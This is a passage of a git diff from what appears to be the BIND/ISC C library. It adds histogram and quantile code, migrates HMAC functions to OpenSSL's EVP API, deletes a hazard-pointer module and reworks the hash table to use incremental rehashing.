+	return (cp == NULL ? NULL : &cp[bucket]);
+}
+
+static inline uint64_t
+bucket_count(const hg_bucket_t *bp) {
+	return (bp == NULL ? 0 : atomic_load_relaxed(bp));
+}
+
+static inline uint64_t
+get_key_count(const isc_histo_t *hg, uint key) {
+	return (bucket_count(key_to_bucket(hg, key)));
+}
+
+static inline void
+add_key_count(isc_histo_t *hg, uint key, uint64_t inc) {
+	/* fast path */
+	if (inc > 0) {
+		hg_bucket_t *bp = key_to_bucket(hg, key);
+		bp = bp != NULL ? bp : key_to_new_bucket(hg, key);
+		atomic_fetch_add_relaxed(bp, inc);
+	}
+}
+
+/**********************************************************************/
+
+void
+isc_histo_add(isc_histo_t *hg, uint64_t value, uint64_t inc) {
+	REQUIRE(HISTO_VALID(hg));
+	add_key_count(hg, value_to_key(hg, value), inc);
+}
+
+void
+isc_histo_inc(isc_histo_t *hg, uint64_t value) {
+	isc_histo_add(hg, value, 1);
+}
+
+void
+isc_histo_put(isc_histo_t *hg, uint64_t min, uint64_t max, uint64_t count) {
+	REQUIRE(HISTO_VALID(hg));
+
+	uint kmin = value_to_key(hg, min);
+	uint kmax = value_to_key(hg, max);
+
+	for (uint key = kmin; key <= kmax; key++) {
+		uint64_t mid = ISC_MIN(max, key_to_maxval(hg, key));
+		double in_bucket = mid - min + 1;
+		double remaining = max - min + 1;
+		uint64_t inc = ceil(count * in_bucket / remaining);
+		add_key_count(hg, key, inc);
+		count -= inc;
+		min = mid + 1;
+	}
+}
+
+isc_result_t
+isc_histo_get(const isc_histo_t *hg, uint key, uint64_t *minp, uint64_t *maxp,
+	      uint64_t *countp) {
+	REQUIRE(HISTO_VALID(hg));
+
+	if (key < BUCKETS(hg)) {
+		SET_IF_NOT_NULL(minp, key_to_minval(hg, key));
+		SET_IF_NOT_NULL(maxp, key_to_maxval(hg, key));
+		SET_IF_NOT_NULL(countp, get_key_count(hg, key));
+		return (ISC_R_SUCCESS);
+	} else {
+		return (ISC_R_RANGE);
+	}
+}
+
+void
+isc_histo_next(const isc_histo_t *hg, uint *keyp) {
+	REQUIRE(HISTO_VALID(hg));
+	REQUIRE(keyp != NULL);
+
+	uint chunksize = CHUNKSIZE(hg);
+	uint buckets = BUCKETS(hg);
+	uint key = *keyp;
+
+	key++;
+	while (key < buckets && key % chunksize == 0 &&
+	       key_to_bucket(hg, key) == NULL)
+	{
+		key += chunksize;
+	}
+	*keyp = key;
+}
+
+void
+isc_histo_merge(isc_histo_t **targetp, const isc_histo_t *source) {
+	REQUIRE(HISTO_VALID(source));
+	REQUIRE(targetp != NULL);
+
+	if (*targetp != NULL) {
+		REQUIRE(HISTO_VALID(*targetp));
+	} else {
+		isc_histo_create(source->mctx, source->sigbits, targetp);
+	}
+
+	uint64_t min, max, count;
+	for (uint key = 0;
+	     isc_histo_get(source, key, &min, &max, &count) == ISC_R_SUCCESS;
+	     isc_histo_next(source, &key))
+	{
+		isc_histo_put(*targetp, min, max, count);
+	}
+}
+
+/**********************************************************************/
+
+void
+isc_histomulti_create(isc_mem_t *mctx, uint sigbits, isc_histomulti_t **hmp) {
+	REQUIRE(hmp != NULL);
+	REQUIRE(*hmp == NULL);
+
+	uint size = isc_tid_count();
+	INSIST(size > 0);
+
+	isc_histomulti_t *hm = isc_mem_cget(mctx, 1,
+					    STRUCT_FLEX_SIZE(hm, hg, size));
+	*hm = (isc_histomulti_t){
+		.magic = HISTOMULTI_MAGIC,
+		.size = size,
+	};
+
+	for (uint i = 0; i < hm->size; i++) {
+		isc_histo_create(mctx, sigbits, &hm->hg[i]);
+	}
+
+	*hmp = hm;
+}
+
+void
+isc_histomulti_destroy(isc_histomulti_t **hmp) {
+	REQUIRE(hmp != NULL);
+	REQUIRE(HISTOMULTI_VALID(*hmp));
+
+	isc_histomulti_t *hm = *hmp;
+	isc_mem_t *mctx = hm->hg[0]->mctx;
+	*hmp = NULL;
+
+	for (uint i = 0; i < hm->size; i++) {
+		isc_histo_destroy(&hm->hg[i]);
+	}
+
+	isc_mem_put(mctx, hm, STRUCT_FLEX_SIZE(hm, hg, hm->size));
+}
+
+void
+isc_histomulti_merge(isc_histo_t **hgp, const isc_histomulti_t *hm) {
+	REQUIRE(HISTOMULTI_VALID(hm));
+
+	for (uint i = 0; i < hm->size; i++) {
+		isc_histo_merge(hgp, hm->hg[i]);
+	}
+}
+
+void
+isc_histomulti_add(isc_histomulti_t *hm, uint64_t value, uint64_t inc) {
+	REQUIRE(HISTOMULTI_VALID(hm));
+	isc_histo_t *hg = hm->hg[isc_tid()];
+	add_key_count(hg, value_to_key(hg, value), inc);
+}
+
+void
+isc_histomulti_inc(isc_histomulti_t *hm, uint64_t value) {
+	isc_histomulti_add(hm, value, 1);
+}
+
+/**********************************************************************/
+
+/*
+ * https://fanf2.user.srcf.net/hermes/doc/antiforgery/stats.pdf
+ * equation 4 (incremental mean) and equation 44 (incremental variance)
+ */
+void
+isc_histo_moments(const isc_histo_t *hg, double *pm0, double *pm1,
+		  double *pm2) {
+	REQUIRE(HISTO_VALID(hg));
+
+	uint64_t pop = 0;
+	double mean = 0.0;
+	double sigma = 0.0;
+
+	uint64_t min, max, count;
+	for (uint key = 0;
+	     isc_histo_get(hg, key, &min, &max, &count) == ISC_R_SUCCESS;
+	     isc_histo_next(hg, &key))
+	{
+		if (count == 0) { /* avoid division by zero */
+			continue;
+		}
+		double value = min / 2.0 + max / 2.0;
+		double delta = value - mean;
+		pop += count;
+		mean += count * delta / pop;
+		sigma += count * delta * (value - mean);
+	}
+
+	SET_IF_NOT_NULL(pm0, pop);
+	SET_IF_NOT_NULL(pm1, mean);
+	SET_IF_NOT_NULL(pm2, (pop > 0) ? sqrt(sigma / pop) : 0.0);
+}
+
+/*
+ * Clamped linear interpolation
+ *
+ * `outrange` should be `((1 << n) - 1)` for some `n`; when `n` is larger
+ * than 53, `outrange` can get rounded up to a power of 2, so we clamp the
+ * result to keep within bounds (extra important when `max == UINT64_MAX`)
+ */
+static inline uint64_t
+lerp(uint64_t min, uint64_t max, uint64_t lo, uint64_t in, uint64_t hi) {
+	double inrange = (double)(hi - lo);
+	double inpart = (double)(in - lo);
+	double outrange = (double)(max - min);
+	double outpart = round(outrange * inpart / inrange);
+	return (min + ISC_MIN((uint64_t)outpart, max - min));
+}
+
+/*
+ * There is non-zero space for the inner value, and it is inside the bounds
+ */
+static inline bool
+inside(uint64_t lo, uint64_t in, uint64_t hi) {
+	return (lo < hi && lo <= in && in <= hi);
+}
+
+isc_result_t
+isc_histo_quantiles(const isc_histo_t *hg, uint size, const double *fraction,
+		    uint64_t *value) {
+	hg_bucket_t *chunk[CHUNKS];
+	uint64_t total[CHUNKS];
+	uint64_t rank[ISC_HISTO_MAXQUANTILES];
+
+	REQUIRE(HISTO_VALID(hg));
+	REQUIRE(0 < size && size <= ISC_HISTO_MAXQUANTILES);
+	REQUIRE(fraction != NULL);
+	REQUIRE(value != NULL);
+
+	const uint maxchunk = MAXCHUNK(hg);
+	const uint chunksize = CHUNKSIZE(hg);
+
+	/*
+	 * Find out which chunks exist and what their totals are. We take a
+	 * copy of the chunk pointers to reduce the need for atomic ops
+	 * later on. Scan from low to high so that higher buckets are more
+	 * likely to be in the CPU cache when we scan from high to low.
+	 */
+	uint64_t population = 0;
+	for (uint c = 0; c < maxchunk; c++) {
+		chunk[c] = get_chunk(hg, c);
+		total[c] = 0;
+		if (chunk[c] != NULL) {
+			for (uint b = chunksize; b-- > 0;) {
+				total[c] += bucket_count(&chunk[c][b]);
+			}
+			population += total[c];
+		}
+	}
+
+	/*
+	 * Now we know the population, we can convert fractions to ranks.
+	 * Also ensure they are within bounds and in decreasing order.
+	 */
+	for (uint i = 0; i < size; i++) {
+		REQUIRE(0.0 <= fraction[i] && fraction[i] <= 1.0);
+		REQUIRE(i == 0 || fraction[i - 1] > fraction[i]);
+		rank[i] = round(fraction[i] * population);
+	}
+
+	/*
+	 * Scan chunks from high to low, keeping track of the bounds on
+	 * each chunk's ranks. Each time we match `rank[i]`, move on to the
+	 * next rank and continue the scan from the same place.
+	 */
+	uint i = 0;
+	uint64_t chunk_lo = population;
+	for (uint c = maxchunk; c-- > 0;) {
+		uint64_t chunk_hi = chunk_lo;
+		chunk_lo = chunk_hi - total[c];
+
+		/*
+		 * Scan buckets backwards within this chunk, in a similar
+		 * manner to the chunk scan. Skip all or part of the loop
+		 * if the current rank is not in the chunk.
+		 */
+		uint64_t bucket_lo = chunk_hi;
+		for (uint b = chunksize;
+		     b-- > 0 && inside(chunk_lo, rank[i], chunk_hi);)
+		{
+			uint64_t bucket_hi = bucket_lo;
+			bucket_lo = bucket_hi - bucket_count(&chunk[c][b]);
+
+			/*
+			 * Convert all ranks that fall in this bucket.
+			 */
+			while (inside(bucket_lo, rank[i], bucket_hi)) {
+				uint key = chunksize * c + b;
+				value[i] = lerp(key_to_minval(hg, key),
+						key_to_maxval(hg, key),
+						bucket_lo, rank[i], bucket_hi);
+				if (++i == size) {
+					return (ISC_R_SUCCESS);
+				}
+			}
+		}
+	}
+
+	return (ISC_R_UNSET);
+}
+
+/**********************************************************************/
diff --git a/lib/isc/hmac.c b/lib/isc/hmac.c
index c300a306cb..bc35befc1e 100644
--- a/lib/isc/hmac.c
+++ b/lib/isc/hmac.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#include <openssl/hmac.h>
+#include <openssl/err.h>
+#include <openssl/evp.h>
 #include <openssl/opensslv.h>
 
 #include <isc/assertions.h>
 #include <isc/hmac.h>
 #include <isc/md.h>
-#include <isc/platform.h>
 #include <isc/safe.h>
 #include <isc/string.h>
 #include <isc/types.h>
@@ -25,34 +27,47 @@
 
 isc_hmac_t *
 isc_hmac_new(void) {
-	HMAC_CTX *hmac = HMAC_CTX_new();
+	EVP_MD_CTX *hmac = EVP_MD_CTX_new();
 	RUNTIME_CHECK(hmac != NULL);
-	return ((struct hmac *)hmac);
+	return ((isc_hmac_t *)hmac);
 }
 
 void
 isc_hmac_free(isc_hmac_t *hmac) {
-	if (ISC_UNLIKELY(hmac == NULL)) {
+	if (hmac == NULL) {
 		return;
 	}
 
-	HMAC_CTX_free(hmac);
+	EVP_MD_CTX_free((EVP_MD_CTX *)hmac);
 }
 
 isc_result_t
-isc_hmac_init(isc_hmac_t *hmac, const void *key, size_t keylen,
+isc_hmac_init(isc_hmac_t *hmac, const void *key, const size_t keylen,
 	      const isc_md_type_t *md_type) {
+	EVP_PKEY *pkey;
+
 	REQUIRE(hmac != NULL);
 	REQUIRE(key != NULL);
+	REQUIRE(keylen <= INT_MAX);
 
 	if (md_type == NULL) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
-	if (HMAC_Init_ex(hmac, key, keylen, md_type, NULL) != 1) {
+	pkey = EVP_PKEY_new_raw_private_key(EVP_PKEY_HMAC, NULL, key, keylen);
+	if (pkey == NULL) {
+		ERR_clear_error();
+		return (ISC_R_CRYPTOFAILURE);
+	}
+
+	if (EVP_DigestSignInit(hmac, NULL, md_type, NULL, pkey) != 1) {
+		EVP_PKEY_free(pkey);
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
+	EVP_PKEY_free(pkey);
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -60,7 +75,8 @@ isc_result_t
 isc_hmac_reset(isc_hmac_t *hmac) {
 	REQUIRE(hmac != NULL);
 
-	if (HMAC_CTX_reset(hmac) != 1) {
+	if (EVP_MD_CTX_reset(hmac) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -71,11 +87,12 @@ isc_result_t
 isc_hmac_update(isc_hmac_t *hmac, const unsigned char *buf, const size_t len) {
 	REQUIRE(hmac != NULL);
 
-	if (ISC_UNLIKELY(buf == NULL || len == 0)) {
+	if (buf == NULL || len == 0) {
 		return (ISC_R_SUCCESS);
 	}
 
-	if (HMAC_Update(hmac, buf, len) != 1) {
+	if (EVP_DigestSignUpdate(hmac, buf, len) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -87,11 +104,17 @@ isc_hmac_final(isc_hmac_t *hmac, unsigned char *digest,
 	       unsigned int *digestlen) {
 	REQUIRE(hmac != NULL);
 	REQUIRE(digest != NULL);
+	REQUIRE(digestlen != NULL);
 
-	if (HMAC_Final(hmac, digest, digestlen) != 1) {
+	size_t len = *digestlen;
+
+	if (EVP_DigestSignFinal(hmac, digest, &len) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
+	*digestlen = (unsigned int)len;
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -99,25 +122,25 @@ const isc_md_type_t *
 isc_hmac_get_md_type(isc_hmac_t *hmac) {
 	REQUIRE(hmac != NULL);
 
-	return (HMAC_CTX_get_md(hmac));
+	return (EVP_MD_CTX_get0_md(hmac));
 }
 
 size_t
 isc_hmac_get_size(isc_hmac_t *hmac) {
 	REQUIRE(hmac != NULL);
 
-	return ((size_t)EVP_MD_size(HMAC_CTX_get_md(hmac)));
+	return ((size_t)EVP_MD_CTX_size(hmac));
 }
 
 int
 isc_hmac_get_block_size(isc_hmac_t *hmac) {
 	REQUIRE(hmac != NULL);
 
-	return (EVP_MD_block_size(HMAC_CTX_get_md(hmac)));
+	return (EVP_MD_CTX_block_size(hmac));
 }
 
 isc_result_t
-isc_hmac(const isc_md_type_t *type, const void *key, const int keylen,
+isc_hmac(const isc_md_type_t *type, const void *key, const size_t keylen,
 	 const unsigned char *buf, const size_t len, unsigned char *digest,
 	 unsigned int *digestlen) {
 	isc_result_t res;
diff --git a/lib/isc/hp.c b/lib/isc/hp.c
deleted file mode 100644
index 20646a8a74..0000000000
--- a/lib/isc/hp.c
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*
- * Hazard Pointer implementation.
- *
- * This work is based on C++ code available from:
- * https://github.com/pramalhe/ConcurrencyFreaks/
- *
- * Copyright (c) 2014-2016, Pedro Ramalhete, Andreia Correia
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are met:
- *
- *     * Redistributions of source code must retain the above copyright
- *       notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above copyright
- *       notice, this list of conditions and the following disclaimer in the
- *       documentation and/or other materials provided with the distribution.
- *     * Neither the name of Concurrency Freaks nor the
- *       names of its contributors may be used to endorse or promote products
- *       derived from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER>
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include <inttypes.h>
-
-#include <isc/atomic.h>
-#include <isc/hp.h>
-#include <isc/mem.h>
-#include <isc/once.h>
-#include <isc/string.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#define HP_MAX_THREADS 128
-static int isc__hp_max_threads = HP_MAX_THREADS;
-#define HP_MAX_HPS     4 /* This is named 'K' in the HP paper */
-#define CLPAD	       (128 / sizeof(uintptr_t))
-#define HP_THRESHOLD_R 0 /* This is named 'R' in the HP paper */
-
-/* Maximum number of retired objects per thread */
-static int isc__hp_max_retired = HP_MAX_THREADS * HP_MAX_HPS;
-
-typedef struct retirelist {
-	int size;
-	uintptr_t *list;
-} retirelist_t;
-
-struct isc_hp {
-	int max_hps;
-	isc_mem_t *mctx;
-	atomic_uintptr_t **hp;
-	retirelist_t **rl;
-	isc_hp_deletefunc_t *deletefunc;
-};
-
-static inline int
-tid(void) {
-	return (isc_tid_v);
-}
-
-void
-isc_hp_init(int max_threads) {
-	if (isc__hp_max_threads > max_threads) {
-		return;
-	}
-	isc__hp_max_threads = max_threads;
-	isc__hp_max_retired = max_threads * HP_MAX_HPS;
-}
-
-isc_hp_t *
-isc_hp_new(isc_mem_t *mctx, size_t max_hps, isc_hp_deletefunc_t *deletefunc) {
-	isc_hp_t *hp = isc_mem_get(mctx, sizeof(*hp));
-
-	if (max_hps == 0) {
-		max_hps = HP_MAX_HPS;
-	}
-
-	*hp = (isc_hp_t){ .max_hps = max_hps, .deletefunc = deletefunc };
-
-	isc_mem_attach(mctx, &hp->mctx);
-
-	hp->hp = isc_mem_get(mctx, isc__hp_max_threads * sizeof(hp->hp[0]));
-	hp->rl = isc_mem_get(mctx, isc__hp_max_threads * sizeof(hp->rl[0]));
-
-	for (int i = 0; i < isc__hp_max_threads; i++) {
-		hp->hp[i] = isc_mem_get(mctx, CLPAD * 2 * sizeof(hp->hp[i][0]));
-		hp->rl[i] = isc_mem_get(mctx, sizeof(*hp->rl[0]));
-		*hp->rl[i] = (retirelist_t){ .size = 0 };
-
-		for (int j = 0; j < hp->max_hps; j++) {
-			atomic_init(&hp->hp[i][j], 0);
-		}
-		hp->rl[i]->list = isc_mem_get(
-			hp->mctx, isc__hp_max_retired * sizeof(uintptr_t));
-	}
-
-	return (hp);
-}
-
-void
-isc_hp_destroy(isc_hp_t *hp) {
-	for (int i = 0; i < isc__hp_max_threads; i++) {
-		isc_mem_put(hp->mctx, hp->hp[i],
-			    CLPAD * 2 * sizeof(hp->hp[i][0]));
-
-		for (int j = 0; j < hp->rl[i]->size; j++) {
-			void *data = (void *)hp->rl[i]->list[j];
-			hp->deletefunc(data);
-		}
-		isc_mem_put(hp->mctx, hp->rl[i]->list,
-			    isc__hp_max_retired * sizeof(uintptr_t));
-		isc_mem_put(hp->mctx, hp->rl[i], sizeof(*hp->rl[0]));
-	}
-	isc_mem_put(hp->mctx, hp->hp, isc__hp_max_threads * sizeof(hp->hp[0]));
-	isc_mem_put(hp->mctx, hp->rl, isc__hp_max_threads * sizeof(hp->rl[0]));
-
-	isc_mem_putanddetach(&hp->mctx, hp, sizeof(*hp));
-}
-
-void
-isc_hp_clear(isc_hp_t *hp) {
-	for (int i = 0; i < hp->max_hps; i++) {
-		atomic_store_release(&hp->hp[tid()][i], 0);
-	}
-}
-
-void
-isc_hp_clear_one(isc_hp_t *hp, int ihp) {
-	atomic_store_release(&hp->hp[tid()][ihp], 0);
-}
-
-uintptr_t
-isc_hp_protect(isc_hp_t *hp, int ihp, atomic_uintptr_t *atom) {
-	uintptr_t n = 0;
-	uintptr_t ret;
-	while ((ret = atomic_load(atom)) != n) {
-		atomic_store(&hp->hp[tid()][ihp], ret);
-		n = ret;
-	}
-	return (ret);
-}
-
-uintptr_t
-isc_hp_protect_ptr(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr) {
-	atomic_store(&hp->hp[tid()][ihp], atomic_load(&ptr));
-	return (atomic_load(&ptr));
-}
-
-uintptr_t
-isc_hp_protect_release(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr) {
-	atomic_store_release(&hp->hp[tid()][ihp], atomic_load(&ptr));
-	return (atomic_load(&ptr));
-}
-
-void
-isc_hp_retire(isc_hp_t *hp, uintptr_t ptr) {
-	hp->rl[tid()]->list[hp->rl[tid()]->size++] = ptr;
-	INSIST(hp->rl[tid()]->size < isc__hp_max_retired);
-
-	if (hp->rl[tid()]->size < HP_THRESHOLD_R) {
-		return;
-	}
-
-	for (int iret = 0; iret < hp->rl[tid()]->size; iret++) {
-		uintptr_t obj = hp->rl[tid()]->list[iret];
-		bool can_delete = true;
-		for (int itid = 0; itid < isc__hp_max_threads && can_delete;
-		     itid++) {
-			for (int ihp = hp->max_hps - 1; ihp >= 0; ihp--) {
-				if (atomic_load(&hp->hp[itid][ihp]) == obj) {
-					can_delete = false;
-					break;
-				}
-			}
-		}
-
-		if (can_delete) {
-			size_t bytes = (hp->rl[tid()]->size - iret) *
-				       sizeof(hp->rl[tid()]->list[0]);
-			memmove(&hp->rl[tid()]->list[iret],
-				&hp->rl[tid()]->list[iret + 1], bytes);
-			hp->rl[tid()]->size--;
-			hp->deletefunc((void *)obj);
-		}
-	}
-}
diff --git a/lib/isc/ht.c b/lib/isc/ht.c
index 595f9a3808..f602e7195a 100644
--- a/lib/isc/ht.c
+++ b/lib/isc/ht.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -25,9 +27,22 @@ typedef struct isc_ht_node isc_ht_node_t;
 #define ISC_HT_MAGIC	 ISC_MAGIC('H', 'T', 'a', 'b')
 #define ISC_HT_VALID(ht) ISC_MAGIC_VALID(ht, ISC_HT_MAGIC)
 
+#define HT_NO_BITS    0
+#define HT_MIN_BITS   1
+#define HT_MAX_BITS   32
+#define HT_OVERCOMMIT 3
+
+#define HT_NEXTTABLE(idx)      ((idx == 0) ? 1 : 0)
+#define TRY_NEXTTABLE(idx, ht) (idx == ht->hindex && rehashing_in_progress(ht))
+
+#define GOLDEN_RATIO_32 0x61C88647
+
+#define HASHSIZE(bits) (UINT64_C(1) << (bits))
+
 struct isc_ht_node {
 	void *value;
 	isc_ht_node_t *next;
+	uint32_t hashval;
 	size_t keysize;
 	unsigned char key[];
 };
@@ -35,171 +50,389 @@ struct isc_ht_node {
 struct isc_ht {
 	unsigned int magic;
 	isc_mem_t *mctx;
-	size_t size;
-	size_t mask;
-	unsigned int count;
-	isc_ht_node_t **table;
+	size_t count;
+	bool case_sensitive;
+	size_t size[2];
+	uint8_t hashbits[2];
+	isc_ht_node_t **table[2];
+	uint8_t hindex;
+	uint32_t hiter; /* rehashing iterator */
 };
 
 struct isc_ht_iter {
 	isc_ht_t *ht;
 	size_t i;
+	uint8_t hindex;
 	isc_ht_node_t *cur;
 };
 
-isc_result_t
-isc_ht_init(isc_ht_t **htp, isc_mem_t *mctx, uint8_t bits) {
+static isc_ht_node_t *
+isc__ht_find(const isc_ht_t *ht, const unsigned char *key,
+	     const uint32_t keysize, const uint32_t hashval, const uint8_t idx);
+static void
+isc__ht_add(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
+	    const uint32_t hashval, const uint8_t idx, void *value);
+static isc_result_t
+isc__ht_delete(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
+	       const uint32_t hashval, const uint8_t idx);
+
+static uint32_t
+rehash_bits(isc_ht_t *ht, size_t newcount);
+
+static void
+hashtable_new(isc_ht_t *ht, const uint8_t idx, const uint8_t bits);
+static void
+hashtable_free(isc_ht_t *ht, const uint8_t idx);
+static void
+hashtable_rehash(isc_ht_t *ht, uint32_t newbits);
+static void
+hashtable_rehash_one(isc_ht_t *ht);
+static void
+maybe_rehash(isc_ht_t *ht, size_t newcount);
+
+static isc_result_t
+isc__ht_iter_next(isc_ht_iter_t *it);
+
+static bool
+isc__ht_node_match(isc_ht_node_t *node, const uint32_t hashval,
+		   const uint8_t *key, uint32_t keysize) {
+	return (node->hashval == hashval && node->keysize == keysize &&
+		memcmp(node->key, key, keysize) == 0);
+}
+
+static uint32_t
+hash_32(uint32_t val, unsigned int bits) {
+	REQUIRE(bits <= HT_MAX_BITS);
+	/* High bits are more random. */
+	return (val * GOLDEN_RATIO_32 >> (32 - bits));
+}
+
+static bool
+rehashing_in_progress(const isc_ht_t *ht) {
+	return (ht->table[HT_NEXTTABLE(ht->hindex)] != NULL);
+}
+
+static bool
+hashtable_is_overcommited(isc_ht_t *ht) {
+	return (ht->count >= (ht->size[ht->hindex] * HT_OVERCOMMIT));
+}
+
+static uint32_t
+rehash_bits(isc_ht_t *ht, size_t newcount) {
+	uint32_t newbits = ht->hashbits[ht->hindex];
+
+	while (newcount >= HASHSIZE(newbits) && newbits <= HT_MAX_BITS) {
+		newbits += 1;
+	}
+
+	return (newbits);
+}
+
+/*
+ * Rebuild the hashtable to reduce the load factor
+ */
+static void
+hashtable_rehash(isc_ht_t *ht, uint32_t newbits) {
+	uint8_t oldindex = ht->hindex;
+	uint32_t oldbits = ht->hashbits[oldindex];
+	uint8_t newindex = HT_NEXTTABLE(oldindex);
+
+	REQUIRE(ht->hashbits[oldindex] >= HT_MIN_BITS);
+	REQUIRE(ht->hashbits[oldindex] <= HT_MAX_BITS);
+	REQUIRE(ht->table[oldindex] != NULL);
+
+	REQUIRE(newbits <= HT_MAX_BITS);
+	REQUIRE(ht->hashbits[newindex] == HT_NO_BITS);
+	REQUIRE(ht->table[newindex] == NULL);
+
+	REQUIRE(newbits > oldbits);
+
+	hashtable_new(ht, newindex, newbits);
+
+	ht->hindex = newindex;
+
+	hashtable_rehash_one(ht);
+}
+
+static void
+hashtable_rehash_one(isc_ht_t *ht) {
+	isc_ht_node_t **newtable = ht->table[ht->hindex];
+	uint32_t oldsize = ht->size[HT_NEXTTABLE(ht->hindex)];
+	isc_ht_node_t **oldtable = ht->table[HT_NEXTTABLE(ht->hindex)];
+	isc_ht_node_t *node = NULL;
+	isc_ht_node_t *nextnode;
+
+	/* Find first non-empty node */
+	while (ht->hiter < oldsize && oldtable[ht->hiter] == NULL) {
+		ht->hiter++;
+	}
+
+	/* Rehashing complete */
+	if (ht->hiter == oldsize) {
+		hashtable_free(ht, HT_NEXTTABLE(ht->hindex));
+		ht->hiter = 0;
+		return;
+	}
+
+	/* Move the first non-empty node from old hashtable to new hashtable */
+	for (node = oldtable[ht->hiter]; node != NULL; node = nextnode) {
+		uint32_t hash = hash_32(node->hashval,
+					ht->hashbits[ht->hindex]);
+		nextnode = node->next;
+		node->next = newtable[hash];
+		newtable[hash] = node;
+	}
+
+	oldtable[ht->hiter] = NULL;
+
+	ht->hiter++;
+}
+
+static void
+maybe_rehash(isc_ht_t *ht, size_t newcount) {
+	uint32_t newbits = rehash_bits(ht, newcount);
+
+	if (ht->hashbits[ht->hindex] < newbits && newbits <= HT_MAX_BITS) {
+		hashtable_rehash(ht, newbits);
+	}
+}
+
+static void
+hashtable_new(isc_ht_t *ht, const uint8_t idx, const uint8_t bits) {
+	REQUIRE(ht->hashbits[idx] == HT_NO_BITS);
+	REQUIRE(ht->table[idx] == NULL);
+	REQUIRE(bits >= HT_MIN_BITS);
+	REQUIRE(bits <= HT_MAX_BITS);
+
+	ht->hashbits[idx] = bits;
+	ht->size[idx] = HASHSIZE(ht->hashbits[idx]);
+
+	ht->table[idx] = isc_mem_cget(ht->mctx, ht->size[idx],
+				      sizeof(isc_ht_node_t *));
+}
+
+static void
+hashtable_free(isc_ht_t *ht, const uint8_t idx) {
+	for (size_t i = 0; i < ht->size[idx]; i++) {
+		isc_ht_node_t *node = ht->table[idx][i];
+		while (node != NULL) {
+			isc_ht_node_t *next = node->next;
+			ht->count--;
+			isc_mem_put(ht->mctx, node,
+				    sizeof(*node) + node->keysize);
+			node = next;
+		}
+	}
+
+	isc_mem_cput(ht->mctx, ht->table[idx], ht->size[idx],
+		     sizeof(isc_ht_node_t *));
+
+	ht->hashbits[idx] = HT_NO_BITS;
+	ht->table[idx] = NULL;
+}
+
+void
+isc_ht_init(isc_ht_t **htp, isc_mem_t *mctx, uint8_t bits,
+	    unsigned int options) {
 	isc_ht_t *ht = NULL;
-	size_t i;
+	bool case_sensitive = ((options & ISC_HT_CASE_INSENSITIVE) == 0);
 
 	REQUIRE(htp != NULL && *htp == NULL);
 	REQUIRE(mctx != NULL);
-	REQUIRE(bits >= 1 && bits <= (sizeof(size_t) * 8 - 1));
+	REQUIRE(bits >= 1 && bits <= HT_MAX_BITS);
 
-	ht = isc_mem_get(mctx, sizeof(struct isc_ht));
+	ht = isc_mem_get(mctx, sizeof(*ht));
+	*ht = (isc_ht_t){
+		.case_sensitive = case_sensitive,
+	};
 
-	ht->mctx = NULL;
 	isc_mem_attach(mctx, &ht->mctx);
 
-	ht->size = ((size_t)1 << bits);
-	ht->mask = ((size_t)1 << bits) - 1;
-	ht->count = 0;
-
-	ht->table = isc_mem_get(ht->mctx, ht->size * sizeof(isc_ht_node_t *));
-
-	for (i = 0; i < ht->size; i++) {
-		ht->table[i] = NULL;
-	}
+	hashtable_new(ht, 0, bits);
 
 	ht->magic = ISC_HT_MAGIC;
 
 	*htp = ht;
-	return (ISC_R_SUCCESS);
 }
 
 void
 isc_ht_destroy(isc_ht_t **htp) {
 	isc_ht_t *ht;
-	size_t i;
 
